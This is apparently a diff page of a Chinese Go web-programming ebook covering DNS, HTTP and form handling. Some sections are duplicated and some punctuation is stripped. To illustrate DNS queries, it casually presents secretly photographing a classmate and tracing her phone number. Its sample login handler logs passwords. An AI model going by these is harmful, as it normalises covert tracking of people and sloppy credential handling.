> 举个例子来说,你想知道某个一起上法律课的女孩的电话,并且你偷偷拍了她的照片,回到寝室告诉一个很仗义的哥们儿,这个哥们儿二话没说,拍着胸脯告诉你,甭急,我替你查(此处完成了一次递归查询,即,问询者的角色更替)。然后他拿着照片问了学院大四学长学长告诉他这姑娘是xx系的然后这哥们儿马不停蹄又问了xx系的办公室主任助理同学助理同学说是xx系yy班的然后很仗义的哥们儿去xx系yy班的班长那里取到了该女孩儿电话。(此处完成若干次迭代查询,即,问询者角色不变,但反复更替问询对象)最后,他把号码交到了你手里。完成整个查询过程。
通过上面的步骤我们最后获取的是IP地址也就是浏览器最后发起请求的时候是基于IP来和服务器做信息交互的。
## HTTP协议详解
HTTP协议是Web工作的核心所以要了解清楚Web的工作方式就需要详细的了解清楚HTTP是怎么样工作的。
HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求服务器响应这个请求。在HTTP中客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如当浏览器下载一个文件时你可以通过点击“停止”键来中断文件的下载关闭与服务器的HTTP连接。
HTTP协议是无状态的同一个客户端的这次请求和上次请求是没有对应关系对HTTP服务器来说它并不知道这两个请求是否来自同一个客户端。为了解决这个问题 Web程序引入了Cookie机制来维护连接的可持续状态。
>HTTP协议是建立在TCP协议之上的因此TCP攻击一样会影响HTTP的通讯例如比较常见的一些攻击SYN Flood是当前最流行的DoS拒绝服务攻击与DdoS分布式拒绝服务攻击的方式之一这是一种利用TCP协议缺陷发送大量伪造的TCP连接请求从而使得被攻击方资源耗尽CPU满负荷或内存不足的攻击方式。
### HTTP请求包浏览器信息
我们先来看看Request包的结构, Request包分为3部分第一部分叫Request line请求行, 第二部分叫Request header请求头,第三部分是body主体。header和body之间有个空行请求包的例子所示:
GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本
Hostwww.iana.org //服务端的主机名
User-AgentMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息
Accepttext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine
Accept-Encodinggzip,deflate,sdch //是否支持流压缩
Accept-CharsetUTF-8,*;q=0.5 //客户端字符编码集
//空行,用于分割请求头和消息体
//消息体,请求资源参数,例如POST传递的参数
我们通过fiddler抓包可以看到如下请求信息
![](images/3.1.http.png?raw=true)
图3.4 fiddler抓取的GET信息
![](images/3.1.httpPOST.png?raw=true)
图3.5 fiddler抓取的POST信息
**我们可以看到GET请求消息体为空POST请求带有消息体**。
HTTP协议定义了很多与服务器交互的请求方法最基本的有4种分别是GET,POST,PUT,DELETE. 一个URL地址用于描述一个网络上的资源而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查删4个操作。 我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息而POST一般用于更新资源信息.
我们看看GET和POST的区别
1. GET提交的数据会放在URL之后以?分割URL和传输数据参数之间以&相连如EditPosts.aspx?name=test1&id=123456. POST方法是把提交的数据放在HTTP包的Body中.
2. GET提交的数据大小有限制因为浏览器对URL的长度有限制而POST方法提交的数据没有限制.
3. GET方式提交数据会带来安全问题比如一个登录页面通过GET方式提交数据时用户名和密码将出现在URL上如果页面可以被缓存或者其他人可以访问这台机器就可以从历史记录获得该用户的账号和密码。
### HTTP响应包服务器信息
我们再来看看HTTP的response包他的结构如下
HTTP/1.1 200 OK //状态行
Server: nginx/1.0.8 //服务器使用的WEB软件名及版本
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间
Content-Type: text/html //服务器发送信息的类型
Transfer-Encoding: chunked //表示发送HTTP包是分段发的
Connection: keep-alive //保持连接状态
Content-Length: 90 //主体内容长度
//空行 用来分割消息头和主体
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息体
Response包中的第一行叫做状态行由HTTP协议版本号 状态码, 状态消息 三部分组成。
状态码用来告诉HTTP客户端,HTTP服务器是否产生了预期的Response。HTTP/1.1协议中定义了5类状态码 状态码由三位数字组成,第一个数字定义了响应的类别
- 1XX 提示信息 - 表示请求已被成功接收,继续处理
- 2XX 成功 - 表示请求已被成功接收,理解,接受
- 3XX 重定向 - 要完成请求必须进行更进一步的处理
- 4XX 客户端错误 - 请求有语法错误或请求无法实现
- 5XX 服务器端错误 - 服务器未能实现合法的请求
我们看下面这个图展示了详细的返回信息左边可以看到有很多的资源返回码200是常用的表示正常信息302表示跳转。response header里面展示了详细的信息。
![](images/3.1.response.png?raw=true)
图3.6 访问一次网站的全部请求信息
### HTTP协议是无状态的和Connection: keep-alive的区别
无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。
HTTP是一个无状态的面向连接的协议无状态不代表HTTP不能保持TCP连接更不能代表HTTP使用的是UDP协议面对无连接
从HTTP/1.1起默认都开启了Keep-Alive保持连接特性简单地说当一个网页打开完成后客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭如果客户端再次访问这个服务器上的网页会继续使用这一条已经建立的TCP连接。
Keep-Alive不会永久保持连接它有一个保持时间可以在不同服务器软件如Apache中设置这个时间
## 请求实例
![](images/3.1.web.png?raw=true)
图3.7 一次请求的request和response
上面这张图我们可以了解到整个的通讯过程同时细心的读者是否注意到了一点一个URL请求但是左边栏里面为什么会有那么多的资源请求(这些都是静态文件go对于静态文件有专门的处理方式)。
这个就是浏览器的一个功能第一次请求url服务器端返回的是html页面然后浏览器开始渲染HTML当解析到HTML DOM里面的图片连接css脚本和js脚本的链接浏览器就会自动发起一个请求静态资源的HTTP请求获取相对应的静态资源然后浏览器就会渲染出来最终将所有资源整合、渲染完整展现在我们面前的屏幕上。
>网页优化方面有一项措施是减少HTTP请求次数就是把尽量多的css和js资源合并在一起目的是尽量减少网页请求静态资源的次数提高网页加载速度同时减缓服务器的压力。
## links
* [目录](<preface.md>)
* 上一节: [Web基础](<03.0.md>)
* 下一节: [GO搭建一个web服务器](<03.2.md>)
# 3.1 Web工作方式
我们平时浏览网页的时候,会打开浏览器,输入网址后按下回车键,然后就会显示出你想要浏览的内容。在这个看似简单的用户行为背后,到底隐藏了些什么呢?
对于普通的上网过程系统其实是这样做的浏览器本身是一个客户端当你输入URL的时候首先浏览器会去请求DNS服务器通过DNS获取相应的域名对应的IP然后通过IP地址找到IP对应的服务器后要求建立TCP连接等浏览器发送完HTTP Request请求包后服务器接收到请求包之后才开始处理请求包服务器调用自身服务返回HTTP Response响应客户端收到来自服务器的响应后开始渲染这个Response包里的主体body等收到全部的内容随后断开与该服务器之间的TCP连接。
![](images/3.1.web2.png?raw=true)
图3.1 用户访问一个Web站点的过程
一个Web服务器也被称为HTTP服务器它通过HTTP协议与客户端通信。这个客户端通常指的是Web浏览器(其实手机端客户端内部也是浏览器实现的)。
Web服务器的工作原理可以简单地归纳为
- 客户机通过TCP/IP协议建立到服务器的TCP连接
- 客户端向服务器发送HTTP协议请求包请求服务器里的资源文档
- 服务器向客户机发送HTTP协议应答包如果请求的资源包含有动态语言的内容那么服务器会调用动态语言的解释引擎负责处理“动态内容”并将处理得到的数据返回给客户端
- 客户机与服务器断开。由客户端解释HTML文档在客户端屏幕上渲染图形结果
一个简单的HTTP事务就是这样实现的看起来很复杂原理其实是挺简单的。需要注意的是客户机与服务器之间的通信是非持久连接的也就是当服务器发送了应答后就与客户机断开连接等待下一次请求。
## URL和DNS解析
我们浏览网页都是通过URL访问的那么URL到底是怎么样的呢
URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用于描述一个网络上的资源, 基本格式如下
schema://host[:port#]/path/.../[?query-string][#anchor]
scheme 指定低层使用的协议(例如http, https, ftp)
host HTTP服务器的IP地址或者域名
port# HTTP服务器的默认端口是80这种情况下端口号可以省略。如果使用了别的端口必须指明例如 http://www.cnblogs.com:8080/
path 访问资源的路径
query-string 发送给http服务器的数据
anchor 锚
DNS(Domain Name System)是“域名系统”的英文缩写是一种组织成域层次结构的计算机和网络服务命名系统它用于TCP/IP网络它从事将主机名或域名转换为实际IP地址的工作。DNS就是这样的一位“翻译官”它的基本工作原理可用下图来表示。
![](images/3.1.dns_hierachy.png?raw=true)
图3.2 DNS工作原理
更详细的DNS解析的过程如下这个过程有助于我们理解DNS的工作模式
1. 在浏览器中输入www.qq.com域名操作系统会先检查自己本地的hosts文件是否有这个网址映射关系如果有就先调用这个IP地址映射完成域名解析。
2. 如果hosts里没有这个域名的映射则查找本地DNS解析器缓存是否有这个网址映射关系如果有直接返回完成域名解析。
3. 如果hosts与本地DNS解析器缓存都没有相应的网址映射关系首先会找TCP/IP参数中设置的首选DNS服务器在此我们叫它本地DNS服务器此服务器收到查询时如果要查询的域名包含在本地配置区域资源中则返回解析结果给客户机完成域名解析此解析具有权威性。
4. 如果要查询的域名不由本地DNS服务器区域解析但该服务器已缓存了此网址映射关系则调用这个IP地址映射完成域名解析此解析不具有权威性。
5. 如果本地DNS服务器本地区域文件与缓存解析都失效则根据本地DNS服务器的设置是否设置转发器进行查询如果未用转发模式本地DNS就把请求发至 “根DNS服务器”“根DNS服务器”收到请求后会判断这个域名(.com)是谁来授权管理并会返回一个负责该顶级域名服务器的一个IP。本地DNS服务器收到IP信息后将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求后如果自己无法解析它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务器。当本地DNS服务器收到这个地址后就会找qq.com域服务器重复上面的动作进行查询直至找到www.qq.com主机。
6. 如果用的是转发模式此DNS服务器就会把请求转发至上一级DNS服务器由上一级服务器进行解析上一级服务器如果不能解析或找根DNS或把转请求转至上上级以此循环。不管是本地DNS服务器用是是转发还是根提示最后都是把结果返回给本地DNS服务器由此DNS服务器再返回给客户机。
![](images/3.1.dns_inquery.png?raw=true)
图3.3 DNS解析的整个流程
> 所谓 `递归查询过程` 就是 “查询的递交者” 更替, 而 `迭代查询过程` 则是 “查询的递交者”不变。
>
> 举个例子来说,你想知道某个一起上法律课的女孩的电话,并且你偷偷拍了她的照片,回到寝室告诉一个很仗义的哥们儿,这个哥们儿二话没说,拍着胸脯告诉你,甭急,我替你查(此处完成了一次递归查询,即,问询者的角色更替)。然后他拿着照片问了学院大四学长学长告诉他这姑娘是xx系的然后这哥们儿马不停蹄又问了xx系的办公室主任助理同学助理同学说是xx系yy班的然后很仗义的哥们儿去xx系yy班的班长那里取到了该女孩儿电话。(此处完成若干次迭代查询,即,问询者角色不变,但反复更替问询对象)最后,他把号码交到了你手里。完成整个查询过程。
通过上面的步骤我们最后获取的是IP地址也就是浏览器最后发起请求的时候是基于IP来和服务器做信息交互的。
## HTTP协议详解
HTTP协议是Web工作的核心所以要了解清楚Web的工作方式就需要详细的了解清楚HTTP是怎么样工作的。
HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求服务器响应这个请求。在HTTP中客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如当浏览器下载一个文件时你可以通过点击“停止”键来中断文件的下载关闭与服务器的HTTP连接。
HTTP协议是无状态的同一个客户端的这次请求和上次请求是没有对应关系对HTTP服务器来说它并不知道这两个请求是否来自同一个客户端。为了解决这个问题 Web程序引入了Cookie机制来维护连接的可持续状态。
>HTTP协议是建立在TCP协议之上的因此TCP攻击一样会影响HTTP的通讯例如比较常见的一些攻击SYN Flood是当前最流行的DoS拒绝服务攻击与DdoS分布式拒绝服务攻击的方式之一这是一种利用TCP协议缺陷发送大量伪造的TCP连接请求从而使得被攻击方资源耗尽CPU满负荷或内存不足的攻击方式。
### HTTP请求包浏览器信息
我们先来看看Request包的结构, Request包分为3部分第一部分叫Request line请求行, 第二部分叫Request header请求头,第三部分是body主体。header和body之间有个空行请求包的例子所示:
GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本
Hostwww.iana.org //服务端的主机名
User-AgentMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息
Accepttext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine
Accept-Encodinggzip,deflate,sdch //是否支持流压缩
Accept-CharsetUTF-8,*;q=0.5 //客户端字符编码集
//空行,用于分割请求头和消息体
//消息体,请求资源参数,例如POST传递的参数
我们通过fiddler抓包可以看到如下请求信息
![](images/3.1.http.png?raw=true)
图3.4 fiddler抓取的GET信息
![](images/3.1.httpPOST.png?raw=true)
图3.5 fiddler抓取的POST信息
**我们可以看到GET请求消息体为空POST请求带有消息体**。
HTTP协议定义了很多与服务器交互的请求方法最基本的有4种分别是GET,POST,PUT,DELETE. 一个URL地址用于描述一个网络上的资源而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查删4个操作。 我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息而POST一般用于更新资源信息.
我们看看GET和POST的区别
1. GET提交的数据会放在URL之后以?分割URL和传输数据参数之间以&相连如EditPosts.aspx?name=test1&id=123456. POST方法是把提交的数据放在HTTP包的Body中.
2. GET提交的数据大小有限制因为浏览器对URL的长度有限制而POST方法提交的数据没有限制.
3. GET方式提交数据会带来安全问题比如一个登录页面通过GET方式提交数据时用户名和密码将出现在URL上如果页面可以被缓存或者其他人可以访问这台机器就可以从历史记录获得该用户的账号和密码。
### HTTP响应包服务器信息
我们再来看看HTTP的response包他的结构如下
HTTP/1.1 200 OK //状态行
Server: nginx/1.0.8 //服务器使用的WEB软件名及版本
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间
Content-Type: text/html //服务器发送信息的类型
Transfer-Encoding: chunked //表示发送HTTP包是分段发的
Connection: keep-alive //保持连接状态
Content-Length: 90 //主体内容长度
//空行 用来分割消息头和主体
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //消息体
Response包中的第一行叫做状态行由HTTP协议版本号 状态码, 状态消息 三部分组成。
状态码用来告诉HTTP客户端,HTTP服务器是否产生了预期的Response。HTTP/1.1协议中定义了5类状态码 状态码由三位数字组成,第一个数字定义了响应的类别
- 1XX 提示信息 - 表示请求已被成功接收,继续处理
- 2XX 成功 - 表示请求已被成功接收,理解,接受
- 3XX 重定向 - 要完成请求必须进行更进一步的处理
- 4XX 客户端错误 - 请求有语法错误或请求无法实现
- 5XX 服务器端错误 - 服务器未能实现合法的请求
我们看下面这个图展示了详细的返回信息左边可以看到有很多的资源返回码200是常用的表示正常信息302表示跳转。response header里面展示了详细的信息。
![](images/3.1.response.png?raw=true)
图3.6 访问一次网站的全部请求信息
### HTTP协议是无状态的和Connection: keep-alive的区别
无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。
HTTP是一个无状态的面向连接的协议无状态不代表HTTP不能保持TCP连接更不能代表HTTP使用的是UDP协议面对无连接
从HTTP/1.1起默认都开启了Keep-Alive保持连接特性简单地说当一个网页打开完成后客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭如果客户端再次访问这个服务器上的网页会继续使用这一条已经建立的TCP连接。
Keep-Alive不会永久保持连接它有一个保持时间可以在不同服务器软件如Apache中设置这个时间
## 请求实例
![](images/3.1.web.png?raw=true)
图3.7 一次请求的request和response
上面这张图我们可以了解到整个的通讯过程同时细心的读者是否注意到了一点一个URL请求但是左边栏里面为什么会有那么多的资源请求(这些都是静态文件go对于静态文件有专门的处理方式)。
这个就是浏览器的一个功能第一次请求url服务器端返回的是html页面然后浏览器开始渲染HTML当解析到HTML DOM里面的图片连接css脚本和js脚本的链接浏览器就会自动发起一个请求静态资源的HTTP请求获取相对应的静态资源然后浏览器就会渲染出来最终将所有资源整合、渲染完整展现在我们面前的屏幕上。
>网页优化方面有一项措施是减少HTTP请求次数就是把尽量多的css和js资源合并在一起目的是尽量减少网页请求静态资源的次数提高网页加载速度同时减缓服务器的压力。
## links
* [目录](<preface.md>)
* 上一节: [Web基础](<03.0.md>)
* 下一节: [GO搭建一个web服务器](<03.2.md>)

0
03.2.md → ebook/03.2.md Executable file → Normal file
View File

0
03.3.md → ebook/03.3.md Executable file → Normal file
View File

0
03.4.md → ebook/03.4.md Executable file → Normal file
View File

18
03.5.md → ebook/03.5.md Executable file → Normal file
View File

@@ -1,9 +1,9 @@
# 3.5 小结
这一章我们介绍了HTTP协议, DNS解析的过程, 如何用go实现一个简陋的web server。并深入到net/http包的源码中为大家揭开实现此server的秘密。
希望通过这一章的学习你能够对Go开发Web有了初步的了解我们也看到相应的代码了Go开发Web应用是很方便的同时又是相当的灵活。
## links
* [目录](<preface.md>)
* 上一节: [Go的http包详解](<03.4.md>)
* 下一章: [表单](<04.0.md>)
# 3.5 小结
这一章我们介绍了HTTP协议, DNS解析的过程, 如何用go实现一个简陋的web server。并深入到net/http包的源码中为大家揭开实现此server的秘密。
希望通过这一章的学习你能够对Go开发Web有了初步的了解我们也看到相应的代码了Go开发Web应用是很方便的同时又是相当的灵活。
## links
* [目录](<preface.md>)
* 上一节: [Go的http包详解](<03.4.md>)
* 下一章: [表单](<04.0.md>)

50
04.0.md → ebook/04.0.md Executable file → Normal file
View File

@@ -1,25 +1,25 @@
# 4 表单
表单是我们平常编写Web应用常用的工具通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢?
表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\<form\>)定义。
<form>
...
input 元素
...
</form>
Go里面对于form处理已经有很方便的方法了在Request里面的有专门的form处理可以很方便的整合到Web开发里面来4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入所以我们需要对这些输入进行有效性验证4.2小节将就如何进行一些普通的验证进行详细的演示。
HTTP协议是一种无状态的协议那么如何才能辨别是否是同一个用户呢同时又如何保证一个表单不出现多次递交的情况呢4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息能够每次通过header和服务器进行交互的数据)等进行详细讲解。
表单还有一个很大的功能就是能够上传文件那么Go是如何处理文件上传的呢针对大文件上传我们如何有效的处理呢4.5小节我们将一起学习Go处理文件上传的知识。
## 目录
![](images/navi4.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第三章总结](<03.5.md>)
* 下一节: [处理表单的输入](<04.1.md>)
# 4 表单
表单是我们平常编写Web应用常用的工具通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢?
表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\<form\>)定义。
<form>
...
input 元素
...
</form>
Go里面对于form处理已经有很方便的方法了在Request里面的有专门的form处理可以很方便的整合到Web开发里面来4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入所以我们需要对这些输入进行有效性验证4.2小节将就如何进行一些普通的验证进行详细的演示。
HTTP协议是一种无状态的协议那么如何才能辨别是否是同一个用户呢同时又如何保证一个表单不出现多次递交的情况呢4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息能够每次通过header和服务器进行交互的数据)等进行详细讲解。
表单还有一个很大的功能就是能够上传文件那么Go是如何处理文件上传的呢针对大文件上传我们如何有效的处理呢4.5小节我们将一起学习Go处理文件上传的知识。
## 目录
![](images/navi4.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第三章总结](<03.5.md>)
* 下一节: [处理表单的输入](<04.1.md>)

214
04.1.md → ebook/04.1.md Executable file → Normal file
View File

@@ -1,107 +1,107 @@
# 4.1 处理表单的输入
先来看一个表单递交的例子我们有如下的表单内容命名成文件login.gtpl(放入当前新建项目的目录里面)
<html>
<head>
<title></title>
</head>
<body>
<form action="http://127.0.0.1:9090/login" method="post">
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="submit" value="登陆">
</form>
</body>
</html>
上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面我们首先要判断这个是什么方式传递过来POST还是GET呢
http包里面有一个很简单的方式就可以获取我们在前面web的例子的基础上来看看怎么处理login页面的form数据
package main
import (
"fmt"
"html/template"
"log"
"net/http"
"strings"
)
func sayhelloName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() //解析url传递的参数对于POST则解析响应包的主体request body
//注意:如果没有调用ParseForm方法下面无法获取表单的数据
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
}
func login(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, nil)
} else {
//请求的是登陆数据,那么执行登陆的逻辑判断
fmt.Println("username:", r.Form["username"])
fmt.Println("password:", r.Form["password"])
}
}
func main() {
http.HandleFunc("/", sayhelloName) //设置访问的路由
http.HandleFunc("/login", login) //设置访问的路由
err := http.ListenAndServe(":9090", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的这是个字符串类型的变量返回GET, POST, PUT等method信息。
login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面其他方式请求时则处理登录逻辑如查询数据库、验证登录信息等。
当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面
![](images/4.1.login.png?raw=true)
图4.1 用户登录界面
我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的为什么呢默认情况下Handler里面是不会自动解析form的必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。
`r.Form`里面包含了所有请求的参数比如URL中query-string、POST的数据、PUT的数据所有当你在URL的query-string字段和POST冲突时会保存成一个slice里面存储了多个值Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`再次测试服务器的输出username是不是一个slice。服务器端的输出如下
![](images/4.1.slice.png?raw=true)
图4.2 服务器端打印接受到的信息
`request.Form`是一个url.Values类型里面存储的是对应的类似`key=value`的信息下面展示了可以对form数据进行的一些操作:
v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])
>**Tips**:
Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm所以不必提前调用。r.FormValue只会返回同名参数中的第一个若参数不存在则返回空字符串。
## links
* [目录](<preface.md>)
* 上一节: [表单](<04.0.md>)
* 下一节: [验证表单的输入](<04.2.md>)
# 4.1 处理表单的输入
先来看一个表单递交的例子我们有如下的表单内容命名成文件login.gtpl(放入当前新建项目的目录里面)
<html>
<head>
<title></title>
</head>
<body>
<form action="http://127.0.0.1:9090/login" method="post">
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="submit" value="登陆">
</form>
</body>
</html>
上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面我们首先要判断这个是什么方式传递过来POST还是GET呢
http包里面有一个很简单的方式就可以获取我们在前面web的例子的基础上来看看怎么处理login页面的form数据
package main
import (
"fmt"
"html/template"
"log"
"net/http"
"strings"
)
func sayhelloName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() //解析url传递的参数对于POST则解析响应包的主体request body
//注意:如果没有调用ParseForm方法下面无法获取表单的数据
fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println(r.Form["url_long"])
for k, v := range r.Form {
fmt.Println("key:", k)
fmt.Println("val:", strings.Join(v, ""))
}
fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的
}
func login(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, nil)
} else {
//请求的是登陆数据,那么执行登陆的逻辑判断
fmt.Println("username:", r.Form["username"])
fmt.Println("password:", r.Form["password"])
}
}
func main() {
http.HandleFunc("/", sayhelloName) //设置访问的路由
http.HandleFunc("/login", login) //设置访问的路由
err := http.ListenAndServe(":9090", nil) //设置监听的端口
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的这是个字符串类型的变量返回GET, POST, PUT等method信息。
login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面其他方式请求时则处理登录逻辑如查询数据库、验证登录信息等。
当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面
![](images/4.1.login.png?raw=true)
图4.1 用户登录界面
我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的为什么呢默认情况下Handler里面是不会自动解析form的必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。
`r.Form`里面包含了所有请求的参数比如URL中query-string、POST的数据、PUT的数据所有当你在URL的query-string字段和POST冲突时会保存成一个slice里面存储了多个值Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`再次测试服务器的输出username是不是一个slice。服务器端的输出如下
![](images/4.1.slice.png?raw=true)
图4.2 服务器端打印接受到的信息
`request.Form`是一个url.Values类型里面存储的是对应的类似`key=value`的信息下面展示了可以对form数据进行的一些操作:
v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])
>**Tips**:
Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm所以不必提前调用。r.FormValue只会返回同名参数中的第一个若参数不存在则返回空字符串。
## links
* [目录](<preface.md>)
* 上一节: [表单](<04.0.md>)
* 下一节: [验证表单的输入](<04.2.md>)

326
04.2.md → ebook/04.2.md Executable file → Normal file
View File

@@ -1,163 +1,163 @@
# 4.2 验证表单的输入
开发Web的一个原则就是不能信任用户输入的任何信息所以验证和过滤用户的输入信息就变得非常重要我们经常会在微博、新闻中听到某某网站被入侵了存在什么漏洞这些大多是因为网站对于用户输入的信息没有做严格的验证引起的所以为了编写出安全可靠的Web程序验证表单输入的意义重大。
我们平常编写Web应用主要有两方面的数据验证一个是在页面端的js验证(目前在这方面有很多的插件库比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。
## 必填字段
你想要确保从一个表单元素中得到一个值例如前面小节里面的用户名我们如何处理呢Go有一个内置函数`len`可以获取字符串的长度这样我们就可以通过len来获取数据的长度例如
if len(r.Form["username"][0])==0{
//为空的处理
}
`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮则根本不会在r.Form中产生相应条目如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值如果是map的值必须通过上面的方式来获取。
## 数字
你想要确保一个表单输入框中获取的只能是数字例如你想通过表单获取某个人的具体年龄是50岁还是10岁而不是像“一把年纪了”或“年轻着呢”这种描述
如果我们是判断正整数那么我们先转化成int类型然后进行处理
getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
//数字转化出错了,那么可能就不是数字
}
//接下来就可以判断这个数字的大小范围了
if getint >100 {
//太大了
}
还有一种方式就是正则匹配的方式
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
return false
}
对于性能要求很高的用户来说这是一个老生常谈的问题了他们认为应该尽量避免使用正则表达式因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉而且你在其它语言中也在使用它那么在Go里面使用正则表达式将是一个便利的方式。
